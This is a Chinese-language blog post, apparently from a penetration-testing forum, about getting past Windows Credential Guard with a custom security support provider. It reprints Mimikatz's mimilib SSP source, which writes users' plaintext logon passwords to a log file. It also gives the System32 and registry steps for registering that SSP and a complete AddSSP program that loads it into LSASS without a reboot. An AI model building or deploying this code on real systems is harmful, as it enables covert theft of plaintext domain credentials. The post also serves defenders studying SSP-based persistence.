Mimikatz Explorer - Custom SSP

Mimikatz Explorer - Custom SSP TL;DR Windows Defender Credential Guard 使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止...

Mimikatz Explorer - Custom SSP

TL;DR

Windows Defender Credential Guard 使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。

如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证,我们会观察到以下结果。

img

如上图所示,我们无法从 LSASS 内存中提取任何凭据,NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且,即便已经通过修改注册表启用了 Wdigest,也依然获取不到任何明凭据。

从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。不过,通过本篇文章的方法,可以轻松绕过 Credential Guard,并获取明文凭据。

Basic Knowledge

Creating Custom Security Packages

自定义安全包 API 支持组合开发自定义安全支持提供程序(SSP),后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换,以及开发自定义身份验证包,为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包(SSP/AP)。

SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数,开发人员可以实现高级安全功能,例如令牌创建、 补充凭据支持和直通身份验证。

如果我们自定义安全支持提供程序/身份验证包(SSP/AP),并将其注册到系统,当用户重新进行交互式身份验证时,系统就会同通过我们自定义的 SSP/AP 传递明文凭据,这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。

SSP/AP 安全包,为了同时执行身份验证包(AP)和安全支持提供程序(SSP),可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。

下面简单介绍一下关于 LSA 模式的初始化。

LSA Mode Initialization

SECPKG_FUNCTION_TABLE

SECPKG_FUNCTION_TABLE 结构包含指向安全包必须实现的 LSA 函数的指针。本地安全机构(LSA)在调用 SpLsaModeInitialize() 函数时从 SSP/AP DLL 获取此结构。

该结构语法如下:

  1. typedef struct _SECPKG_FUNCTION_TABLE {
  2. PLSA_AP_INITIALIZE_PACKAGE InitializePackage;
  3. PLSA_AP_LOGON_USER LogonUser;
  4. PLSA_AP_CALL_PACKAGE CallPackage;
  5. PLSA_AP_LOGON_TERMINATED LogonTerminated;
  6. PLSA_AP_CALL_PACKAGE_UNTRUSTED CallPackageUntrusted;
  7. PLSA_AP_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
  8. PLSA_AP_LOGON_USER_EX LogonUserEx;
  9. PLSA_AP_LOGON_USER_EX2 LogonUserEx2;
  10. SpInitializeFn *Initialize;
  11. SpShutdownFn *Shutdown;
  12. SpGetInfoFn *GetInfo;
  13. SpAcceptCredentialsFn *AcceptCredentials;
  14. SpAcquireCredentialsHandleFn *AcquireCredentialsHandle;
  15. SpQueryCredentialsAttributesFn *QueryCredentialsAttributes;
  16. SpFreeCredentialsHandleFn *FreeCredentialsHandle;
  17. SpSaveCredentialsFn *SaveCredentials;
  18. SpGetCredentialsFn *GetCredentials;
  19. SpDeleteCredentialsFn *DeleteCredentials;
  20. SpInitLsaModeContextFn *InitLsaModeContext;
  21. SpAcceptLsaModeContextFn *AcceptLsaModeContext;
  22. SpDeleteContextFn *DeleteContext;
  23. SpApplyControlTokenFn *ApplyControlToken;
  24. SpGetUserInfoFn *GetUserInfo;
  25. SpGetExtendedInformationFn *GetExtendedInformation;
  26. SpQueryContextAttributesFn *QueryContextAttributes;
  27. SpAddCredentialsFn *AddCredentials;
  28. SpSetExtendedInformationFn *SetExtendedInformation;
  29. SpSetContextAttributesFn *SetContextAttributes;
  30. SpSetCredentialsAttributesFn *SetCredentialsAttributes;
  31. SpChangeAccountPasswordFn *ChangeAccountPassword;
  32. SpQueryMetaDataFn *QueryMetaData;
  33. SpExchangeMetaDataFn *ExchangeMetaData;
  34. SpGetCredUIContextFn *GetCredUIContext;
  35. SpUpdateCredentialsFn *UpdateCredentials;
  36. SpValidateTargetInfoFn *ValidateTargetInfo;
  37. LSA_AP_POST_LOGON_USER *PostLogonUser;
  38. SpGetRemoteCredGuardLogonBufferFn *GetRemoteCredGuardLogonBuffer;
  39. SpGetRemoteCredGuardSupplementalCredsFn *GetRemoteCredGuardSupplementalCreds;
  40. SpGetTbalSupplementalCredsFn *GetTbalSupplementalCreds;
  41. PLSA_AP_LOGON_USER_EX3 LogonUserEx3;
  42. PLSA_AP_PRE_LOGON_USER_SURROGATE PreLogonUserSurrogate;
  43. PLSA_AP_POST_LOGON_USER_SURROGATE PostLogonUserSurrogate;
  44. SpExtractTargetInfoFn *ExtractTargetInfo;
  45. } SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE;

LSA_SECPKG_FUNCTION_TABLE

LSA_SECPKG_FUNCTION_TABLE 结构包含指向安全包可以调用的 LSA 函数的指针。本地安全机构(LSA)在调用包的 SpInitialize() 函数时将此结构传递给安全包。

该结构语法如下:

  1. typedef struct _LSA_SECPKG_FUNCTION_TABLE {
  2. PLSA_CREATE_LOGON_SESSION CreateLogonSession;
  3. PLSA_DELETE_LOGON_SESSION DeleteLogonSession;
  4. PLSA_ADD_CREDENTIAL AddCredential;
  5. PLSA_GET_CREDENTIALS GetCredentials;
  6. PLSA_DELETE_CREDENTIAL DeleteCredential;
  7. PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap;
  8. PLSA_FREE_LSA_HEAP FreeLsaHeap;
  9. PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer;
  10. PLSA_FREE_CLIENT_BUFFER FreeClientBuffer;
  11. PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer;
  12. PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer;
  13. PLSA_IMPERSONATE_CLIENT ImpersonateClient;
  14. PLSA_UNLOAD_PACKAGE UnloadPackage;
  15. PLSA_DUPLICATE_HANDLE DuplicateHandle;
  16. PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials;
  17. PLSA_CREATE_THREAD CreateThread;
  18. PLSA_GET_CLIENT_INFO GetClientInfo;
  19. PLSA_REGISTER_NOTIFICATION RegisterNotification;
  20. PLSA_CANCEL_NOTIFICATION CancelNotification;
  21. PLSA_MAP_BUFFER MapBuffer;
  22. PLSA_CREATE_TOKEN CreateToken;
  23. PLSA_AUDIT_LOGON AuditLogon;
  24. PLSA_CALL_PACKAGE CallPackage;
  25. PLSA_FREE_LSA_HEAP FreeReturnBuffer;
  26. PLSA_GET_CALL_INFO GetCallInfo;
  27. PLSA_CALL_PACKAGEEX CallPackageEx;
  28. PLSA_CREATE_SHARED_MEMORY CreateSharedMemory;
  29. PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory;
  30. PLSA_FREE_SHARED_MEMORY FreeSharedMemory;
  31. PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory;
  32. PLSA_OPEN_SAM_USER OpenSamUser;
  33. PLSA_GET_USER_CREDENTIALS GetUserCredentials;
  34. PLSA_GET_USER_AUTH_DATA GetUserAuthData;
  35. PLSA_CLOSE_SAM_USER CloseSamUser;
  36. PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken;
  37. PLSA_CLIENT_CALLBACK ClientCallback;
  38. PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials;
  39. PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser;
  40. PLSA_CRACK_SINGLE_NAME CrackSingleName;
  41. PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon;
  42. PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
  43. CredReadFn *CrediRead;
  44. CredReadDomainCredentialsFn *CrediReadDomainCredentials;
  45. CredFreeCredentialsFn *CrediFreeCredentials;
  46. PLSA_PROTECT_MEMORY DummyFunction1;
  47. PLSA_PROTECT_MEMORY DummyFunction2;
  48. PLSA_PROTECT_MEMORY DummyFunction3;
  49. PLSA_PROTECT_MEMORY LsaProtectMemory;
  50. PLSA_PROTECT_MEMORY LsaUnprotectMemory;
  51. PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId;
  52. PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain;
  53. PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap;
  54. PLSA_FREE_PRIVATE_HEAP FreePrivateHeap;
  55. PLSA_CREATE_TOKEN_EX CreateTokenEx;
  56. CredWriteFn *CrediWrite;
  57. CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString;
  58. PLSA_PROTECT_MEMORY DummyFunction4;
  59. PLSA_PROTECT_MEMORY DummyFunction5;
  60. PLSA_PROTECT_MEMORY DummyFunction6;
  61. PLSA_GET_EXTENDED_CALL_FLAGS GetExtendedCallFlags;
  62. PLSA_DUPLICATE_HANDLE DuplicateTokenHandle;
  63. PLSA_GET_SERVICE_ACCOUNT_PASSWORD GetServiceAccountPassword;
  64. PLSA_PROTECT_MEMORY DummyFunction7;
  65. PLSA_AUDIT_LOGON_EX AuditLogonEx;
  66. PLSA_CHECK_PROTECTED_USER_BY_TOKEN CheckProtectedUserByToken;
  67. PLSA_QUERY_CLIENT_REQUEST QueryClientRequest;
  68. PLSA_GET_APP_MODE_INFO GetAppModeInfo;
  69. PLSA_SET_APP_MODE_INFO SetAppModeInfo;
  70. } LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE;

LSA Mode Initialization

启动计算机系统后,本地安全机构(LSA)会自动将所有已注册的安全支持提供程序/身份验证包(SSP/AP)的 DLL 加载到其进程空间中,下图显示了初始化过程。

lsa mode initialization

“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。

启动时,LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数,以获取指向 DLL 中每个安全包实现的函数的指针,函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。

the lsa calls splsamodeinitialize to get function pointers

收到一组 SECPKG_FUNCTION_TABLE 结构后,LSA 将调用每个安全包所实现的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构,其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外,自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。

Main Detail

Mimikatz 提供的 mimilib.dll 可被注册到系统中作为一个 SSP,为攻击者提供一种方法来检索由受害者输入的凭证,以下为主要功能的实现代码。

  1. #include "kssp.h"
  2. static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable[] = {
  3. {
  4. NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
  5. kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials,
  6. NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
  7. NULL, NULL, NULL, NULL, NULL, NULL, NULL
  8. }
  9. };
  10. NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
  11. {
  12. return STATUS_SUCCESS;
  13. }
  14. NTSTATUS NTAPI kssp_SpShutDown(void)
  15. {
  16. return STATUS_SUCCESS;
  17. }
  18. NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
  19. {
  20. PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
  21. PackageInfo->wVersion = 1;
  22. PackageInfo->wRPCID = SECPKG_ID_NONE;
  23. PackageInfo->cbMaxToken = 0;
  24. PackageInfo->Name = L"KiwiSSP";
  25. PackageInfo->Comment = L"Kiwi Security Support Provider";
  26. return STATUS_SUCCESS;
  27. }
  28. NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
  29. {
  30. FILE *kssp_logfile;
  31. #pragma warning(push)
  32. #pragma warning(disable:4996)
  33. if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
  34. #pragma warning(pop)
  35. {
  36. klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
  37. klog_password(kssp_logfile, &PrimaryCredentials->Password);
  38. klog(kssp_logfile, L"\n");
  39. fclose(kssp_logfile);
  40. }
  41. return STATUS_SUCCESS;
  42. }
  43. NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
  44. {
  45. *PackageVersion = SECPKG_INTERFACE_VERSION;
  46. *ppTables = kiwissp_SecPkgFunctionTable;
  47. *pcTables = ARRAYSIZE(kiwissp_SecPkgFunctionTable);
  48. return STATUS_SUCCESS;
  49. }

kiwissp_SecPkgFunctionTable

kiwissp_SecPkgFunctionTable 是一个 SECPKG_FUNCTION_TABLE 结构的数组,包含指向安全包必须实现的 LSA 函数的指针。这里主要实现了 kssp_SpInitializekssp_SpShutDownkssp_SpGetInfokssp_SpAcceptCredentialskssp_SpLsaModeInitialize 函数。

kssp_SpInitialize

kssp_SpInitialize 实现了 SpInitialize 函数,该函数定义如下:

  1. NTSTATUS Spinitializefn(
  2. [in] ULONG_PTR PackageId,
  3. [in] PSECPKG_PARAMETERS Parameters,
  4. [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
  5. );

参数如下:

  • [in] PackageId:LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
  • [in] Parameters:指向包含主域和计算机状态信息的 SECPKG_PARAMETERS 结构的指针。
  • [in] FunctionTable:指向可以安全包调用的 LSA 函数的指针列表。

该函数由本地安全机构(LSA)调用一次,用于执行任何与初始化相关的处理,并提供一个函数指针列表,其中包含安全包调用的 LSA 函数的指针。

kssp_SpShutDown

kssp_SpShutDown 实现了 SpShutDown 函数,该函数定义如下:

  1. NTSTATUS SpShutDown(void);

该函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前,由本地安全机构(LSA)调用,用于在卸载 SSP/AP 之前执行所需的任何清理,以便释放资源。

kssp_SpGetInfo

kssp_SpGetInfo 函数实现了 SpGetInfo 函数,该函数定义如下:

  1. NTSTATUS Spgetinfofn(
  2. [out] PSecPkgInfo PackageInfo
  3. );

参数如下:

  • [out] PackageInfo:指向由本地安全机构(LSA)分配的 SecPkgInfo 结构的指针,必须由包填充。

SpGetInfo 函数提供有关安全包的一般信息,例如其名称和功能描述。客户端调用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函数时,将调用 SpGetInfo 函数。

kssp_SpAcceptCredentials

kssp_SpAcceptCredentials 函数实现了 SpAcceptCredentials 函数,该函数定义如下:

  1. NTSTATUS Spacceptcredentialsfn(
  2. [in] SECURITY_LOGON_TYPE LogonType,
  3. [in] PUNICODE_STRING AccountName,
  4. [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  5. [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
  6. );

参数如下:

  • [in] LogonType:指示登录类型的 SECURITY_LOGON_TYPE 值。
  • [in] AccountName:指向存储登录帐户名称的 UNICODE_STRING 结构的指针。
  • [in] PrimaryCredentials:指向包含登录凭据的 SECPKG_PRIMARY_CRED 结构的指针。
  • [in] SupplementalCredentials:指向包含特定于包的补充凭据的 ECPKG_SUPPLEMENTAL_CRED 结构的指针。

SpAcceptCredentials 函数由本地安全机构(LSA)调用,以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。

将编译生成的 mimilib.dll 置于 C:\Windows\System32 目录中,并将 “mimilib” 添加到以下注册表值的数据中,如下图所示。

  1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages

image-20230530192448724

当该主机重新启动并进行交互式身份验证时,将在 C:\Windows\System32\kiwissp.log 中记录当前登录用户的明文密码,如下图所示。

image-20230530192752538

列举已加载的 SSP

我们可以通过以下代码,列举当前系统中已经加载的 SSP:

  1. // ListSSPs.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
  2. //
  3. #define SECURITY_WIN32
  4. #include <stdio.h>
  5. #include <Windows.h>
  6. #include <sspi.h>
  7. #include <Security.h>
  8. #pragma comment(lib, "Secur32.lib")
  9. int wmain(int argc, wchar_t* argv[]) {
  10. ULONG packageCount = 0;
  11. PSecPkgInfoW packages;
  12. if (EnumerateSecurityPackagesW(&amp;packageCount, &amp;packages) == SEC_E_OK) {
  13. for (int i = 0; i < packageCount; i++) {
  14. wprintf(L"Name: %s Comment: %s\n", packages[i].Name, packages[i].Comment);
  15. }
  16. }
  17. }

如下图所示,KiwiSSP 已经加载到了当前系统中:

image-20230531104250371

利用 AddSecurityPackage API 来加载 SSP/AP

到目前为止,成功利用自定义 SSP 的条件是必须重新启动系统。因此只有启动计算机系统后,本地安全机构(LSA)才会自动将已注册的 SSP/AP 的 DLL 加载到其进程空间中。

然而,利用某些 Windows API,我们可以在不重启的情况下添加 SSP/AP。

AddSecurityPackage 是一个 SSPI 函数,用于将安全支持提供程序添加到提供程序列表中,该函数声明如下。

  1. SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
  2. [in] LPSTR pszPackageName,
  3. [in] PSECURITY_PACKAGE_OPTIONS pOptions
  4. );

参数如下:

  • [in] pszPackageName:要添加的包的名称。
  • [in] pOptions:指向 SECURITY_PACKAGE_OPTIONS 结构的指针,该结构指定有关安全包的其他信息。

通过 C/C++ 创建一个名为 AddSSP 的项目,其代码如下所示。

  1. #define SECURITY_WIN32
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. #include <Security.h>
  5. #pragma comment(lib,"Secur32.lib")
  6. int wmain(int argc, char** argv) {
  7. SECURITY_PACKAGE_OPTIONS option;
  8. option.Size = sizeof(option);
  9. option.Flags = 0;
  10. option.Type = SECPKG_OPTIONS_TYPE_LSA;
  11. option.SignatureSize = 0;
  12. option.Signature = NULL;
  13. // AddSecurityPackageW 默认在 System32 目录中搜索 mimilib.dll
  14. if (AddSecurityPackageW((LPWSTR)L"mimilib", &amp;option) == SEC_E_OK)
  15. {
  16. wprintf(L"[*] Add security package successfully\n");
  17. }
  18. }

编译并生成 AddSSP.exe 后,运行 AddSSP.exe 即可成功将 mimilib.dll 添加到系统。需要注意的是,以上代码仅将 CustSSP 加载到 LSASS 进程中,重启系统后会失效。

  • 发表于 2023-06-07 09:00:00
  • 阅读 ( 6579 )
  • 分类:内网渗透

0 条评论

Marcus_Holloway
Marcus_Holloway

22 篇文章

站长统计